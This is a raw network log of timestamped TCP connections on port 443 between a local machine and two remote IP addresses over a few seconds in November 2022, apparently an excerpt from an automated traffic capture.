Nov 27, 2022 04:37:22.729376078 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.729475975 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.738841057 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.738898993 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.789659977 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.789871931 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.805269957 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.805310965 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.806031942 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.806106091 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.807868004 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.807890892 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.823342085 CET	49733	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.823398113 CET	443	49733	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.823515892 CET	49733	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.823992968 CET	49733	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.824011087 CET	443	49733	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.824069023 CET	443	49733	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.889126062 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.889240026 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.889271021 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.889295101 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.889344931 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.899017096 CET	49732	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:22.899059057 CET	443	49732	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:22.992969036 CET	49734	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.993055105 CET	443	49734	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.993237972 CET	49734	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.993563890 CET	49734	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:22.993597031 CET	443	49734	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:22.993688107 CET	443	49734	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.149712086 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.149797916 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.150449991 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.152152061 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.152225971 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.200745106 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.200844049 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.242362022 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.242391109 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.246539116 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.246570110 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.259418011 CET	49736	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.259502888 CET	443	49736	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.259651899 CET	49736	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.262597084 CET	49736	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.262665033 CET	443	49736	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.262820005 CET	443	49736	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.304507017 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.304621935 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.304691076 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.304771900 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.304837942 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.304902077 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.306380033 CET	49735	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.306420088 CET	443	49735	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.539201975 CET	49737	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.539262056 CET	443	49737	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.540256977 CET	49737	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.540986061 CET	49737	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.540997982 CET	443	49737	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.541142941 CET	443	49737	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.596261978 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.596352100 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.596488953 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.598337889 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.598407984 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.647106886 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.648777962 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.663399935 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.663440943 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.667583942 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.667618990 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.712064981 CET	49739	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.712131977 CET	443	49739	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.712265968 CET	49739	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.712622881 CET	49739	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.712644100 CET	443	49739	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.712717056 CET	443	49739	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.761589050 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.761691093 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.761734009 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.761792898 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.791639090 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.791825056 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.792061090 CET	443	49738	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:23.792129040 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.792149067 CET	49738	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:23.882097960 CET	49740	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.882150888 CET	443	49740	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.882339954 CET	49740	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.882668972 CET	49740	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:23.882687092 CET	443	49740	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:23.882808924 CET	443	49740	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.006365061 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.006423950 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.006546021 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.008960009 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.008987904 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.051829100 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.051929951 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.073350906 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.073386908 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.073699951 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.073766947 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.077569008 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.077589035 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.117878914 CET	49742	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.117924929 CET	443	49742	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.118083000 CET	49742	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.118666887 CET	49742	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.118681908 CET	443	49742	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.118760109 CET	443	49742	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.167104006 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.167182922 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.167208910 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.167260885 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.185426950 CET	49741	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.185460091 CET	443	49741	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.540534973 CET	49743	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.540590048 CET	443	49743	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.542155027 CET	49743	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.542857885 CET	49743	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.542893887 CET	443	49743	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.542947054 CET	443	49743	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.571964025 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.572010040 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.572077036 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.576139927 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.576164961 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.617553949 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.619561911 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.622623920 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.622636080 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.626853943 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.626864910 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.722207069 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.722286940 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.722299099 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.722346067 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.725106001 CET	49744	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.725127935 CET	443	49744	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.785733938 CET	49745	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.785789013 CET	443	49745	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.785943031 CET	49745	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.786396027 CET	49745	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:24.786412954 CET	443	49745	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.786516905 CET	443	49745	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:24.983629942 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:24.983689070 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:24.983799934 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.000049114 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.000081062 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.007523060 CET	49747	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.007567883 CET	443	49747	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.007627964 CET	49747	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.008035898 CET	49747	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.008048058 CET	443	49747	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.008109093 CET	443	49747	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.046206951 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.046288013 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.050184011 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.050201893 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.059533119 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.059551954 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.115360022 CET	49748	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.115412951 CET	443	49748	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.115483046 CET	49748	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.115873098 CET	49748	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.115896940 CET	443	49748	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.115971088 CET	443	49748	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.149687052 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.149878979 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.149926901 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.150449038 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.150468111 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.150633097 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.150702000 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.150770903 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.157455921 CET	49746	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.157509089 CET	443	49746	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.227505922 CET	49749	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.227606058 CET	443	49749	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.227778912 CET	49749	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.228140116 CET	49749	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.228172064 CET	443	49749	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.228239059 CET	443	49749	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.340059996 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.340142965 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.340267897 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.340950012 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.340982914 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.386728048 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.387018919 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.391761065 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.391789913 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.395957947 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.395981073 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.443984985 CET	49751	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.444065094 CET	443	49751	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.444168091 CET	49751	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.444555044 CET	49751	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.444611073 CET	443	49751	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.444710970 CET	443	49751	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.492611885 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.492706060 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.492749929 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.492780924 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.492815018 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.492846012 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.500078917 CET	49750	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.500113010 CET	443	49750	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.680078983 CET	49752	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.680155993 CET	443	49752	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.682470083 CET	49752	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.683275938 CET	49752	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.683294058 CET	443	49752	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.683408022 CET	443	49752	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.776576042 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.776635885 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.777384996 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.780163050 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.780196905 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.830137014 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.830204964 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.831007957 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.831017971 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.838093996 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.838114977 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.918576002 CET	49754	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.918626070 CET	443	49754	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.918828011 CET	49754	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.919464111 CET	49754	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:25.919497013 CET	443	49754	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.919596910 CET	443	49754	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:25.933460951 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.933568954 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.933573961 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:25.933629990 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.991761923 CET	49753	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:25.991803885 CET	443	49753	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.113413095 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.113483906 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.113734961 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.122049093 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.122087002 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.151431084 CET	49756	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.151514053 CET	443	49756	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.151602983 CET	49756	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.152007103 CET	49756	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.152038097 CET	443	49756	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.152100086 CET	443	49756	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.166815996 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.166909933 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.176373959 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.176403999 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.181546926 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.181570053 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.256098986 CET	49757	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.256175995 CET	443	49757	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.257049084 CET	49757	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.262253046 CET	49757	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.262281895 CET	443	49757	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.262378931 CET	443	49757	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.271395922 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.271584034 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.271626949 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.271723032 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.271743059 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.273458004 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.321579933 CET	49755	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.321626902 CET	443	49755	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.467000008 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.467068911 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.467313051 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.468336105 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.468360901 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.496225119 CET	49759	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.496290922 CET	443	49759	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.496553898 CET	49759	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.496973038 CET	49759	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.497005939 CET	443	49759	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.497102022 CET	443	49759	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.516495943 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.516608000 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.528316021 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.528346062 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.560340881 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.560370922 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.627366066 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.627521038 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.627644062 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.633548975 CET	49758	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.633598089 CET	443	49758	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.715369940 CET	49760	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.715415001 CET	443	49760	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.715521097 CET	49760	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.715905905 CET	49760	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.715926886 CET	443	49760	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.716264963 CET	443	49760	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.747162104 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.747229099 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.747399092 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.748045921 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.748079062 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.801084995 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.801166058 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.801688910 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.801712990 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.810650110 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.810688972 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.850256920 CET	49762	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.850337982 CET	443	49762	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.850447893 CET	49762	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.850828886 CET	49762	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:26.850857019 CET	443	49762	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.850969076 CET	443	49762	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:26.906502962 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.906713963 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.906757116 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.907198906 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.915566921 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.915685892 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.915755987 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:26.915956974 CET	443	49761	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:26.916193962 CET	49761	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.090405941 CET	49763	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.090481997 CET	443	49763	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.090590000 CET	49763	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.090949059 CET	49763	443	192.168.2.5	51.195.77.248
Nov 27, 2022 04:37:27.090981960 CET	443	49763	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.091047049 CET	443	49763	51.195.77.248	192.168.2.5
Nov 27, 2022 04:37:27.118802071 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.118908882 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.119010925 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.120268106 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.120356083 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.168149948 CET	443	49764	172.66.43.60	192.168.2.5
Nov 27, 2022 04:37:27.168299913 CET	49764	443	192.168.2.5	172.66.43.60
Nov 27, 2022 04:37:27.217566967 CET	49764	443	192.168.2.5	172.66.43.60
